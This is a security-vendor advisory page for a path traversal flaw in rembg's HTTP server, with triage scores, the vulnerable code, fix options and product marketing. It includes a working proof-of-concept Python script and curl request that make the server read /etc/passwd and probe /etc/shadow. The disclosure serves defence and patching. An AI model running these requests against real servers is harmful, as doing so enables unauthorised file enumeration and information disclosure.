GHSA-3wqj-33cg-xc48 is a medium-severity (CVSS 5.3) Path Traversal vulnerability in rembg. A fix is available for rembg — see the affected versions and patch details below.
Rembg has a Path Traversal via Custom Model Loading
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-3wqj-33cg-xc48.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-3wqj-33cg-xc48 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
rembgReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.
CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)
Details
Vulnerable Code Flow
The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).
1. Entry Point - rembg/commands/s_command.py
def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
kwargs = {}
if commons.extras:
try:
kwargs.update(json.loads(commons.extras)) # ❌ No validation
except Exception:
pass
# ...
session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs
The extras parameter is parsed as JSON and passed directly to new_session() without any validation.
2. Path Handling - rembg/sessions/u2net_custom.py
@classmethod
def download_models(cls, *args, **kwargs):
model_path = kwargs.get("model_path")
if model_path is None:
raise ValueError("model_path is required")
return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation
The model_path is returned with tilde expansion but no validation against path traversal.
3. File Read - rembg/sessions/base.py
self.inner_session = ort.InferenceSession(
str(self.__class__.download_models(*args, **kwargs)), # Reads file
# ...
)
The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.
Root Cause
The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.
PoC
Prerequisites
- Python 3.10+
- rembg installed with CLI support:
pip install "rembg[cpu,cli]"
Step 1: Start the Vulnerable Server
Open a terminal and run:
rembg s --host 0.0.0.0 --port 7000
You should see output like:
To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000
Step 2: Send the Exploit Request
Open a second terminal and run this Python script:
import requests
import json
import urllib.parse
from io import BytesIO
# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
0x44, 0xAE, 0x42, 0x60, 0x82
])
# Target paths to test
test_paths = [
"/etc/passwd", # System file (should exist)
"/nonexistent/file.txt", # Non-existent file
]
for path in test_paths:
print(f"\n[*] Testing path: {path}")
# Build request - extras must be in URL query string
extras = json.dumps({"model_path": path})
url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
response = requests.post(
url,
files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
data={"model": "u2net_custom"},
timeout=30
)
print(f" Status: {response.status_code}")
print(f" Response: {response.text[:100]}")
Or use curl directly:
# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png
# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
-F "model=u2net_custom" \
-F "file=@/tmp/test.png"
Step 3: Verify in Server Logs
Go back to the first terminal where the server is running. You will see error messages like:
onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf:
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.
onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile:
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist
Understanding the Results
| Server Log Message | What It Proves |
|---|---|
Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime |
Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission |
Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |
The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:
- The attacker-controlled path was passed through without validation
onnxruntime.InferenceSession()attempted to read the file contents- The file was read but rejected because
/etc/passwdis not a valid ONNX protobuf
Impact
Who is Affected?
- All users running
rembg s(HTTP server mode) - Cloud deployments where rembg is exposed as an API service
- Docker containers running rembg server
Attack Scenarios
- Information Disclosure: Attacker enumerates sensitive files (
/etc/passwd,.env, config files) - Credential Discovery: Attacker checks for common credential files
- Infrastructure Mapping: Attacker discovers installed software and system configuration
- Denial of Service: Attacker attempts to load very large files, exhausting memory
What is NOT Affected?
- CLI usage (
rembg i,rembg p) - users already have local file access - Library usage - developers control the input
Recommended Fix
Option 1: Disable Custom Models for HTTP API (Recommended)
Remove custom model types from the HTTP API session list:
# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
name for name in sessions_names
if not name.endswith('_custom')
]
# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
default="u2net",
)
Option 2: Validate model_path Against Allowlist
If custom models must be supported via HTTP:
import os
ALLOWED_MODEL_DIRS = [
os.path.expanduser("~/.u2net"),
"/app/models", # or your designated model directory
]
def validate_model_path(path: str) -> str:
"""Validate model path is within allowed directories."""
abs_path = os.path.abspath(os.path.expanduser(path))
for allowed_dir in ALLOWED_MODEL_DIRS:
allowed_abs = os.path.abspath(allowed_dir)
if abs_path.startswith(allowed_abs + os.sep):
return abs_path
raise ValueError(f"model_path must be within allowed directories")
Option 3: Document Security Considerations
At minimum, add security warnings to the documentation:
⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-73: External Control of File Name or Path
- OWASP Path Traversal: Path Traversal Attack
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | rembg | all versions | 2.0.75pip install --upgrade 'rembg==2.0.75' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rembg, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update rembg to 2.0.75 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3wqj-33cg-xc48 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3wqj-33cg-xc48 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-3wqj-33cg-xc48. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3wqj-33cg-xc48 in your dependencies?
O3 Security finds GHSA-3wqj-33cg-xc48 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.